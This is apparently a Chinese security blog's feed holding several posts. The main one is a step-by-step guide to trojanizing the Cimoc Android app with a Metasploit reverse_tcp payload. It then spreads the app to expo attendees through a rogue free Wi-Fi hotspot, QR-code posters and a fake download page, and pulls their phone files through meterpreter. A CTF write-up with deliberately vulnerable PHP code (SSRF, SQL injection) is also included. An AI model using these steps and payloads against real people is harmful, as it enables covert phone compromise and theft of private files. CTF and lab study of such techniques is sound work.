<activity android:name="com.hiroshi.cimoc.ui.activity.MainActivity" android:screenOrientation="unspecified" android:windowSoftInputMode="adjustPan">

然后我们找到这个活动的代码,把我们的函数修改一下,让它调用我们的后门(这里没有加固,也会被检测出来)

【这个寻找的过程其实很麻烦,特别是像tx和网E这种的,超级难找】

1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

找到我们的AndroidManifest.xml,在权限列表里面加入我们需要的权限,然后编译

1
2
3
4
5
6
7
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>

(应用原来就有的权限,可以自己添加,格式可以参考Google的开发文档)

同样使用apktool进行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar b ~/apk/original/
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs... (/lib)
I: Copying libs... (/kotlin)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...

这样就编译完了,把软件放到手机上进行安装,打开后在服务器就可以看到肉鸡上线了

]]>
+ + + + + CTF + + + + + + + CTF + + msfconsole + + apk + + reverse + + decompile + + + +
+ + + + + 2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp + + /posts/CTF-20220619/ + +

已更新官方WriteUP 代码浏览 - 20220619-National - CTF赛事文件合集 - GamerNoTitle的团队 (coding.net)

Break部分

(好的,啥也不会)

Web

Try2ReadFlag

小明创建了一个测试站点,但是这个站点有什么用呢?

打开来是个网页,我没看出啥,不过我们队里搞Web的那位说是CSRF跨站攻击

joomla

建站勿用弱口令!

这个是个CMS框架,整不出,提示写着建站勿用弱口令!,但是我没爆破出来……

(忘记截图了)

EzRome

经过上次的战“疫”,你们已经对rome很了解了,现在他又带着新的waf卷土重来了。

这是一个WAF下的题目,还是不会嗯

EzLogin

登陆成功就有flag哟~

一开始以为是弱口令,等到进了fix环节才发现我好像忘记了robots.txt也可以访问,可以大致看到路径下有什么文件,fix环节在讲这个

PWN

小明的加密器

小明写了一个字符串加密器,但不知道效果如何,大家来测一测吧!

nc进去后是一个加密器,但是没整出来

weirdheap

A Little Weird

nc进去是一个程序,是一个建楼的背景

1
2
3
4
5
1. Build up
2. visit big house
3. construct
4. tear down
Ur choice:

chats_store

为什么我的og不能getshell啊?

nc进去是一个聊天备份程序,但是没整出来

1
2
3
4
5
6
+================================+
+ Emergency Chats Backup Program +
+============hope there's no vuln+
+1.store chats
+2.delete chats
+3.exit

printf_hhh

格式化字符串,hhh

nc进去是一个字符串的格式化软件,如果选择1会出来一串字符(忘记截图了),2的话就是打啥显示啥(echo服务)

REVERSE

ob!

ob而已!

这个用ida逆向一下,出来的是个JavaScript语言的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
function _0x15f8(_0x1cdd90, _0x29a14a) {
var _0x55fe3f = _0x55fe();
return (
(_0x15f8 = function (_0x15f885, _0x2046fc) {
_0x15f885 = _0x15f885 - 0x139;
var _0x273cae = _0x55fe3f[_0x15f885];
return _0x273cae;
}),
_0x15f8(_0x1cdd90, _0x29a14a)
);
}
function _0x55fe() {
var _0x47407e = [
"1434380GTSaRX",
"split",
"sZuqf",
"toString",
"6092LqZrwr",
"charCodeAt",
"2298DprXBL",
"6108172ZkGjDt",
"1326TZBtUd",
"cdcMv",
"length",
"DASCTF{********************************}",
"log",
"8xppuAQ",
"reverse",
"LHAkM",
"3528396BuNtWV",
"gOHVz",
"5507440MXfrBq",
"esJvd",
"BZTwo",
"6940hAoqHl",
"1815832yyeHHB",
];
_0x55fe = function () {
return _0x47407e;
};
return _0x55fe();
}
(function (_0x1df8a4, _0x20dfb3) {
var _0x67a2d4 = _0x15f8,
_0xcc66c3 = _0x1df8a4();
while (!![]) {
try {
var _0x23a480 =
-parseInt(_0x67a2d4(0x13c)) / 0x1 +
(parseInt(_0x67a2d4(0x140)) / 0x2) *
(parseInt(_0x67a2d4(0x144)) / 0x3) +
parseInt(_0x67a2d4(0x13b)) / 0x4 +
(parseInt(_0x67a2d4(0x13a)) / 0x5) *
(-parseInt(_0x67a2d4(0x142)) / 0x6) +
parseInt(_0x67a2d4(0x143)) / 0x7 +
(parseInt(_0x67a2d4(0x149)) / 0x8) *
(-parseInt(_0x67a2d4(0x14c)) / 0x9) +
parseInt(_0x67a2d4(0x14e)) / 0xa;
if (_0x23a480 === _0x20dfb3) break;
else _0xcc66c3["push"](_0xcc66c3["shift"]());
} catch (_0x55dcb3) {
_0xcc66c3["push"](_0xcc66c3["shift"]());
}
}
})(_0x55fe, 0xd3542),
(function () {
var _0x36c6ff = _0x15f8,
_0x40f7fb = {
LHAkM: "2|3|5|1|0|4",
esJvd: _0x36c6ff(0x147),
BZTwo: function (_0x1d1e01, _0x12cacf) {
return _0x1d1e01 == _0x12cacf;
},
sZuqf: "congratulations!!",
cdcMv: function (_0x249d98, _0x2b4e20) {
return _0x249d98 < _0x2b4e20;
},
gOHVz: function (_0x14fc1c, _0x1ae2a0) {
return _0x14fc1c ^ _0x1ae2a0;
},
},
_0x344178 = _0x40f7fb[_0x36c6ff(0x14b)][_0x36c6ff(0x13d)]("|"),
_0x5c293c = 0x0;
while (!![]) {
switch (_0x344178[_0x5c293c++]) {
case "0":
console[_0x36c6ff(0x148)](encc);
continue;
case "1":
encc = _0x27361d[_0x36c6ff(0x14a)]();
continue;
case "2":
var _0x50fdde = _0x40f7fb[_0x36c6ff(0x14f)];
continue;
case "3":
var _0x27361d = new Array();
continue;
case "4":
_0x40f7fb[_0x36c6ff(0x139)](
encc[_0x36c6ff(0x13f)](),
[
0x5a, 0x47, 0x12, 0x17, 0x40, 0x14, 0x43, 0x45, 0x2b, 0x2c, 0x29,
0x29, 0x7d, 0x2b, 0x7d, 0x29, 0x74, 0x75, 0x20, 0x77, 0x20, 0x2b,
0x75, 0x27, 0x6b, 0x38, 0x38, 0x3c, 0x6f, 0x3e, 0x3d, 0x3e, 0x3f,
0x7d, 0x43, 0x50, 0x40, 0x51, 0x40, 0x44,
][_0x36c6ff(0x13f)]()
) && console["log"](_0x40f7fb[_0x36c6ff(0x13e)]);
debugger
continue;
case "5":
for (
i = 0x0;
_0x40f7fb[_0x36c6ff(0x145)](i, _0x50fdde[_0x36c6ff(0x146)]);
i++
) {
_0x27361d[i] = _0x40f7fb[_0x36c6ff(0x14d)](
_0x50fdde[i][_0x36c6ff(0x141)](),
i
);
}
continue;
}
break;
}
})();

奈何我不会这玩意,只能硬着头皮看,没弄出来(主要是最后半小时干的这个题,没时间了),就不弄了

MISC

logbool

一道wireshark流量分析题,下载下来附件以后发现大部分的请求都是跟httpmysql请求有关的,搞了一个半钟搞不出来,登录的password一直在变,而且mysql没返回什么有用的结果

Ste9ano9raphy 6inary

~支付宝到账~

诶不是我说996在Phigros里面不放过我在CTF里面还要来一次嘛

下载下来是一个压缩包,里面有个996.png和一个996.wav (@Phigros),其中音频文件是上了密码的,只能下来一个图

文件名()把996补全一下是两个单词,翻译下来是这样的

图片binwalk一下也出不来啥,去看LSB也没看出啥,WinHex里面看看也没有什么有价值的东西,奋斗了大概半小时到一个小时,搞不出来就没干了

题目中的996

Phigros的996

Crypto

Blind_Signature _RSA

题目中的r是什么呢?先去学学rsa盲签名吧。

这题我还跟着去学了一下RSA盲签名是怎么整的(大概就是下面这个图的这样)

但是给出的Python脚本里面真的让我不太知道到底要求什么,而且这个invert()求逆元的函数经常给我ZeroDevisionError(心态炸裂),弄了一会整不出来就算了(这个d上面的while循环是我自己加的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from gmpy2 import invert
from Crypto.Util.number import *


flag = b"DASCTF{xxxxx}"
m = flag.decode().encode('gbk')
e = 65535 # 公钥
p = getPrime(1024)
q = getPrime(1024)
n = p*q # 公钥
print(f'公钥 n = {n}')
# d = invert(e, (p-1)*(q-1))
while True:
try:
d = invert(e, (p-1)*(q-1))
break
except ZeroDivisionError:
pass
print(f'私钥 d = {d}')
r = getPrime(20) # r为盲因子

Fix部分

PWN

因为PWN都不知道咋整,所以PWN直接果断放弃

Web

Try2ReadFlag-fix

我在上面也说了,这个我队里的人说是跨站攻击,所以我就去看了一下是咋整的

我看他做的时候是后面加了/?id=file:///<file>这样的语句,所以我就在想是不是可以对协议头做出限制

index.php里面的底下很明显有有关的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>

<!-- CSS -->
<link rel="stylesheet" href="assets/css/bootstrap.css">
<link rel="stylesheet" href="assets/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="assets/css/bootstrap-theme.css">
<link rel="stylesheet" href="assets/css/bootstrap.min.css">

<link rel="stylesheet" href="assets/js/bootstrap.js">
<link rel="stylesheet" href="assets/js/npm.js">


</head>

<body>

<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button> <a class="navbar-brand" href="#">Brand</a>
</div>

<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav">
<li class="active">
<a href="#">Link</a>
</li>
<li>
<a href="#">Link</a>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown<strong class="caret"></strong></a>
<ul class="dropdown-menu">
<li>
<a href="#">Action</a>
</li>
<li>
<a href="#">Another action</a>
</li>
<li>
<a href="#">Something else here</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">Separated link</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">One more separated link</a>
</li>
</ul>
</li>
</ul>
<form class="navbar-form navbar-left" role="search">
<div class="form-group">
<input type="text" class="form-control" />
</div> <button type="submit" class="btn btn-default">Submit</button>
</form>
<ul class="nav navbar-nav navbar-right">
<li>
<a href="#">Link</a>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown<strong class="caret"></strong></a>
<ul class="dropdown-menu">
<li>
<a href="#">Action</a>
</li>
<li>
<a href="#">Another action</a>
</li>
<li>
<a href="#">Something else here</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">Separated link</a>
</li>
</ul>
</li>
</ul>
</div>

</nav>
<div class="jumbotron">
<h1>
Hello, Ctfer!
</h1>
</div>
</div>
</div>
<div class="row clearfix">
<div class="col-md-4 column">
<h2>
Page1
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/1.html">View details »</a>
</p>
</div>
<div class="col-md-4 column">
<h2>
Page2
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/2.html">View details »</a>
</p>
</div>
<div class="col-md-4 column">
<h2>
Page3
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/3.html">View details »</a>
</p>
</div>
</div>
</div>

</body>
</html>

<?php
error_reporting(0);
$url = $_GET['url'];
$input = explode(":", $url)[0];
if ($input == "http" or $input == "file"){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

?>

Fix方法:直接把后面的file有关的删了就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$url = $_GET['url'];
$input = explode(":", $url)[0];
if ($input == "http"){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

?>

上传修改后的php文件,等待Check,100分到手!

EzLogin-fix

这个就是我上面说拿到文件看到robots.txt才发现还有这一招的那一题,在这个网页上面不管输什么账号密码都会弹出只有本地管理员才能够登录,在文件里面有一句提示

// 光改密码不会好的:)建议你去修修 SQL 注入,和另外一个文件里的那个漏洞

所以考点至少有个SQL注入,在网上浏览的时候发现在mysql执行指令的时候,有#的话后面的东西会被当成注释,所以sql注入的修复方法之一就是检测到#的出现就直接给它die一下(队里的人说单引号也是一个重要的点所以我也对单引号进行了校验)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<html>
<head>
<meta charset="utf-8">
<title>ezlogin</title>
</head>
<body>
<form action="" method="post">
username <input type="text" name="username"><br>
password <input type="password" name="password">
<input type="submit" value="submit">
</form>

<?php
error_reporting(0);
if(isset($_POST['username']) && isset($_POST['password'])) {
// 来自 glzjin 的温馨提示:only_check 请不要删,不然 check 会不通过的嗷:)
if($_SERVER['REMOTE_ADDR'] !== "127.0.0.1" && $_GET['only_check'] !== "nifuerhfueritfhgeyg4rh3333"){
die("只有本地管理员才能登陆!");
}
$username = trim($_POST['username']);
$password = trim($_POST['password']);
if(preg_match("/union|'|\"|>|=|<|sleep| |\^|case|like|sleep/i",$username)){
die("?????");
}
if(preg_match("/union|'|\"|>|=|<|sleep| |\^|case|like|sleep/i",$password)){
die("?????");
}

$dbhost = '127.0.0.1';
$dbuser = 'ctfer';
$dbpass = 'efrsyu578h7845g67';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass, 'babysql');
if(! $conn )
{
die('database connection failed: ' . mysqli_error($conn));
}

$sql = "SELECT * from users where username='$username' and password='$password'";
if (strstr($sql, '#') or strstr($sql, '\''))# 这里就是我加上的
{
die("?????");
}
else{
$retval = mysqli_query( $conn, $sql );
}


// 光改密码不会好的:)建议你去修修 SQL 注入,和另外一个文件里的那个漏洞
if($retval->num_rows > 0){
$row = $retval->fetch_row();
if($row[1] === "b641c90e-459e-4670-a3a9-671f2453400b") {
die('login successful! this is you flag! '.file_get_contents('/flllllaaaaaaggggg'));
}
}

mysqli_close($conn);
}

然后打开另一个y0u_nev3r_gue5s_1t.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
if(preg_match("/file|dict/i",$url)){
die("?????");
}
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>

打开就看到了熟悉的curl命令,我就在想应该是这里的问题,然后就在if里面加了条件,改成了下面这样

1
2
3
4
5
6
7
8
if($url and preg_match("/http:\/\//i",$url) and !strstr($url, '&&') and !strstr($url, '|')){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>

改完啦!上传,等待check,然后发现check没通过(三轮都是)

joomla-fix

这是一个CMS框架,在群里,管理员提醒了一句:

WEB-Joomla 提示2:别直接把文件上传功能干掉,管理员还要用的,所以或许你需要对文件上传功能点加固一下:)

所以应该是文件管理一类的考点,奈何没时间而且技术力不足,搞不定

EzRome

下载下来是个jar文件,奈何不住我不会Java啊


总结

第一年嘛,积累经验啦;隔壁队伍一个都没做出来,我至少fix还做出来了一个,稳坐三等奖啦!

明年继续

]]>
+ + + + + CTF + + + + + + + CTF + + Web + + SSRF + + + +
+ + + + + CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容 + + /posts/CTF-in-College-6/ + +

这是一次结合了前几次文章里面介绍的各种方法来做的一次实战(主要是有讲座啥的挤在一起了,然后顺带就拿出来实战了一下),那么话不多说,我们现在开始!


所有未经允许的入侵均违法!!!

情景拟定

假设现在即将迎来中国国际数码互动娱乐展览会(ChinaJoy,简称CJ),而你想要获取在场的用户手机中的某些文件。自然,直接向别人询问肯定是不合理的。此时我们想:能否通过网络直接访问到别人手机的文件,然后把我们需要的文件下载下来呢?

结合我前面几篇文章写的,我就想到可以通过社工手段诱导用户下载木马程序并安装运行,从而获取用户手机的控制权限,进而能够找到我们需要的文件并且下载下来这样的手段

方案拟定

社工手段分很多种,社工库(这个真没办法,背后的原因很多样)、钓鱼网站(Steam高价值库存会遇到很多)等等等等,但既然是一个区域内的社工,首先想到的就是公共WIFI。因为本来就是个广Door人,花生地铁WIFI用的超级多花生地铁WIFI(特别是之前流量的价格实在是伤不起的时候,但现在印象中不是有名无实就是直接没有了)

另外,像天河城之类的地方有什么aWififreewifi之类的,肯德基有KFCFreeWifi,麦当劳有MCDonloads,公共wifi渗透在我们生活的方方面面,虽然流量在逐渐取代他们,但是其实还是有人用的,而我们也可以开一个免费热点给其他人使用,特别是在我们这个情景(CJ会场)下

同时在会场中,我们粘贴有带后门软件的二维码的海报,并用官方合作伙伴等字眼吸引他人的眼球,在现场的人就很有可能会去尝试下载我们的后门软件并安装使用,这时候就形成了被动式肉鸡上线,我们能够在我们的服务器上对肉鸡进行远程控制,包括读取通讯录、信息等,甚至是读取文件(当然要有对应的权限)

准备工作

树莓派开启WIFI热点

这里采用Github上面的create_ap项目(项目链接在下面),虽然没有维护了,但是这不影响我们使用呀

oblique/create_ap: [NOT MAINTAINED] This script creates a NATed or Bridged WiFi Access Point.

首先得先clone下来,要不然我们咋用呢

1
git clone https://github.com/oblique/create_ap.git

然后我们进入clone下来的目录,进行编译

1
2
cd create_ap
make install

这个过程中可能会提示权限不足,改为root账户运行或者直接sudo都行

完成以后,就会在当前目录生成一个名为create_ap的二进制可执行文件,直接运行即可,可以像下面这样运行

1
sudo ./create_ap wlan1 wlan0 FreeWifi

这样会创建一个名为FreeWifi的免费热点,当然你可以在FreeWifi后加上密码让它变成一个加密热点,结合我们这里的情景,我就把WIFI命名为CimocFreeWifi

制作后门程序

MSF创建后门程序的过程不再多讲,请参考CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle

对于520apkhook,这里就简略地讲一下

这里我用520apkhook去对Cimoc这个漫画查看软件进行后门注入,首先当然要去下载这个软件

我这里下载的版本是v1.5.5(主要是这个是测试的最后一版,而且没有更新提示,一旦我们注入后门对apk进行重签名,用户下载官方最新的apk就会装不上,当然如果包名不同就没这茬事),也非常幸运,在520apkhook的自动模式下就能够找到onCreate()V这个切入点,自动注入

1
2
python3 main.py --lhost <公网云服务器IP(这里不公布)> --lport 5555 -n Cimoc.apk
# 格式为 --lhost 监听服务器地址 --lport 监听服务端口 -n 需要注入的apk文件 -m {1|2|3}模式选择,默认为1

注入后把我们的文件拿出来,先放在一个文件夹里面,一会会用到

制作下载页

下载页本来想用酷安官方的那个下载页,但是后来想想要改的话太麻烦了,就去Github找了一个项目

然后找到了这个FEMessage/app-download: build your app’s download page easily (github.com)

这个用了nodejs的yarn框架,可以比较方便地生成下载页

当然我是不用yarn的,所以要先安装一下yarn(npm安装慢可以用cnpm)

1
npm install yarn -g

然后再根据文档来操作,修改相关的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"title":"Cimoc",
"logo": "https://cdn.bili33.top/gh/Haleydu/Cimoc@release-tci/screenshot/icon.png",
"app": [
{
"platform": "Android",
"downloadLink":"//cdn.bili33.top/gh/Vikutorika/FakeDownloadPage@master/app-release.apk",
"qrcode": true,
"icon": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADQAAABABAMAAACn5UkPAAAAG1BMVEUAAABfvRlfvRlfvRlfvRlfvRlfvRlfvRlfvRlkC4P+AAAACHRSTlMA6pIhuRVbiHyD9QIAAAEFSURBVHgB7ZQ9TwMxDIbdpiDGQoWUsd069gTDjZxgYIQBifE2GJk611U//LPrJJde7JwyIKaKd7F1j2L7HDvQqVlFr3oCKTvrHGOnClW4Us5Zxs6+Gosv6/Px5BgFYauJee0Q7XTA70iIDpKMe0I0F2iZom1KrjnFh8/mTVrJO9EePh3y5l7G20MdUC0iXlmO9BACOoNvaSqpdrh0Wf5Eo/5eRhr19zK6ZdkEbeD3Gts7uNG5NrDAuWvET474d47A2ac54poRnJMj9+UfXQ4qDEBhbArD5jSAov4cFfarsJXGSpI+iY+C4bPcs5Dc907rUpGbEd9ozJCbEf8yHgcfJFacCdYJpVD+0W2qrN4AAAAASUVORK5CYII="
}
]
}

分别把软件名、软件logo、软件下载地址给修改了(其实里面本来还有iOS的,但是我们没做iOS所以就被我删了)

接着运行yarn标准命令生成(当然在生成前可以用yarn dev来本地查看一下)

1
2
yarn
yarn build

生成后的文件会在./dist文件夹(其实nodejs好像都是这个样子的),把里面的文件拿出来,顺带把我们的apk命名为标准的app-release.apk,放在同级目录下,上传到Github,并开启Github Pages功能来让我们的网页能够被公网访问,当然因为github.io的访问情况不太好,我还绑定了一个自定义域名(我就不放出来了,省的有人给我举报一下然后CloudFlare送我红色警告页面)

后门服务器设置

首先要安装msfvenom,安装的过程请参照CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle(kali可以不装,自带了)

然后我们运行sudo msfconsole,就会打开msf软件

此时我们直接运行相关命令即可

1
2
3
4
5
6
7
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set AutoLoadStdapi true
set LHOST 0.0.0.0
set LPORT 5555
set exitonsession false
exploit -j

会打开监听器,当肉鸡上线的时候会有提示就可以进行控制了

海报制作

这个真的没啥说的,网上一搜一大堆,也没有什么技术含量,略过

攻击流程

首先我们将我们的树莓派设备放在场馆内,打开create_ap,并将WIFI命名为CimocFreeWifi

1
sudo ./create_ap wlan1 wlan0 CimocFreeWifi

将海报粘贴到位,然后等待肉鸡上钩,看到监听服务器有提示后,使用sessions进入设备控制

因为软件一打开就说明了为啥要存储权限(这个是软件自带的不是我注入造成的),所以大部分用户都会授予存储权限

我们可以利用meterpreter的download命令来下载设备上的文件

这里需要对安卓设备的目录结构进行说明:设备的内部存储空间挂载在了/sdcard上,我们平时的设备照片存放在/sdcard/DCIM文件夹,官方相机会放在/sdcard/DCIM/Camera,屏幕截图在/sdcard/DCIM/Camera,如果用的是第三方的相机,例如B612,就会在/sdcard/DCIM/B612文件夹

所以如果我们要下载照片的话就可以在这些目录进行寻找,使用ls命令可以看到当前目录的文件,使用pwd命令可以看到当前所在的目录

当然也可以通过shell来获得一个安卓的shell程序(显然不如adb好用),可以用来运行shell脚本之类的东西

找到了我们所需要的文件,使用download命令可以将文件下载到本地,使用upload可以将本地文件上传到目标机器(上传shell脚本来维持权限啥的)

]]>
+ + + + + CTF + + + + + + + CTF + + apk + + raspberry + + + +
+ + + + + Linux踩坑记录:为什么我的sudo反应这么慢 + + /posts/Why-my-sudo-is-so-slow/ + +

在用Kali的时候,用的最多的东西就是sudo了,但是在使用的过程中我发现一个问题:我在使用sudo的时候要等个半分钟到两分钟的时间才会让我输入密码,但是刚刚安装好kali的时候就不存在这个问题

当我在百度搜索的时候,我发现了有一种情况非常贴合我的kali:修改过hosts(/etc/hosts)文件

按照百度出来的结果描述,当使用sudo的时候,会先去寻找主机地址,而hosts文件中有几行就是写了主机地址的

1
2
3
4
5
6
7
127.0.0.1localhost
127.0.1.1kali-vmware# 这个是主机名,我这里在VMware上面装的而且命名为kali-vmware

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

我打开我的hosts文件,因为之前修改过,后来被我删掉后重新touch了一次,所以是空的,我把这几行加回去后,诶,正常了

经验教训:不要随便删掉hosts文件

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 + + /posts/CTF-in-College-5/ + +

本文所用项目链接

ba0gu0/520apkhook: 把msf生成的安卓远控附加进普通的app中,并进行加固隐藏特征。可以绕过常见的手机安全管家。 (github.com)


在Ubuntu安装Msfvenom

本来我想着能不能通过apt安装的,毕竟也是个软件包嘛(Kali就带了),然后我尝试运行

1
sudo apt install msfvenom -y

结果告诉我找不到,只好求助于万能的Bing

首先我们需要把下面的这些内容保存到一个文件中(文件名随意)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#!/bin/sh

print_pgp_key() {
cat <<-EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQINBFDAy/0BEAC8I5bw5gLQqHKx5JCacYcXFL6AZowl3qIOTxo5yfBl8CepNpWY
OOERvIUJb17WehhhbWOo9WjpBalDXBRtI1NvfArewOT8fLm7BdhYe8U45moBfkYi
xFtNrPw3pdIltHQISrB8PufhliN8obQuq0rcxYV8NblvYo4gIGNjBfO1QGvBNmp7
kBtjlAuZguScZmUTdPOwfv8fqN52X9tCv1ahQk1hg8XG9YwW0vXb5z93jkLXBb5b
sRCnou4m9IV6vOv2HVNRyMKT7uht3z4FqflP9NkySl4daCdZgmXbf169vvLdwLrC
lVymwAbwvuyILZv4JW1w0Kx8nWiTuK5A886882i83lxnkh1vC9jInva4/5hTrbRw
XJb7qOyh7sxa5GOfgq1NwVfLkrvVCMystrPu18sF1ORfg1UTFcz86RYdxpmoZvk7
EeABiLCQDZKOf0fV3U9CxLj8gXPjPY1Lu6udZUN6NG1ALJjsPkGnbpQEqEJlKNAG
+rF+tp73TrG0PW8C/THL7fN93ET3wn5tfNu86Liui9wd8ZLuPJNEYeE6eyPAgXJ4
p69Yb4ou5um5jWnzaVameECBZvtc4HOhy3nTEiVMDcKv/o8XxKOCLpjW1RSDirKl
ZRIsJYPx2yuJSVMCsN5Sghp5+OCsQ+On4OFWxCskemvy97ftkv/fwUI7mQARAQAB
tCJNZXRhc3Bsb2l0IDxtZXRhc3Bsb2l0QHJhcGlkNy5jb20+iQJUBBMBCAA+AhsD
BQsJCAcDBRUKCQgLBRYCAwEAAh4BAheAFiEECeVfr094Ys1tVYmXzftfpSAHuVQF
Al1xL2oFCR98Zm0ACgkQzftfpSAHuVTPlg/9H++FCAMEoQxxWeQ1e7RkQbplrjmA
+w1hqto1YnJDB3RFpvEubS45h/36Lgs1SmcgGx1dw2uzjSAtWS/4MWtvnyWXFV3K
ZjhyJAlNw7bZLcrJHqpGFdVJvRuPmf6dYvPgSaqZQv0HP2fwSwu/msGJ8u1E7kDW
KpTg5LeQlJ3F3eePSAIa47Y0H6AaNuiW1lUz4YTboRKfDRYQizfKKi/9ssqAXNI5
eAPLhj9i3t/MVSGtV2G6xldEQLM7A0CI4twrIplyPlYt5tCxdA225cRclRYbqaQX
AcE34YJWAWCgGxw98wxQZwtk8kXSwPdpMyrHadaAHiTzqPBlTrSes8sTDoJxfg8P
k73ILgBIey4FD7US5V46MZrKtduFmL9OvqTvZl17r6xaoScrH4oK690VHmdkfM2P
KOkgRU8PumlIjGvTDavm5afh6LkD75XDLPF5n9Om7F+Sc+2Ul+SPYV8kQaFHX1XD
QuHBeJRT9VdO9T/SI2YHkCnatC50nr9V/gK2ecui+ri8gto29jaAmz7IhdNlMU9k
EPfAbnG6Mu6DLlpjsTBYEyuAnmKVWvNBDlgC4d42WQMGleeSXCZzC0Wh3t9FbBOc
3+OB1aEdUrx1dE0elWyrzUFHmd/EOCXpLSE4RYcN6TuCIkEI0TyXYmDRQWGofK0G
S8CxmfmppfGI92C5Ag0EUMDL/QEQALkDKrnosJ5erN/ot2WiaM82KhI30J6+LZUL
9sniuA1a16cfoQfwXTnFpcd48O41aT2BNp0jpGjDo49rRC8yB7HjCd1lM+wRRm/d
0Et/4lBgycaa63jQtG+GK9gN+sf4LkiDgJYkXX2wEOilvZw9zU2VLTGhOUB+e7vR
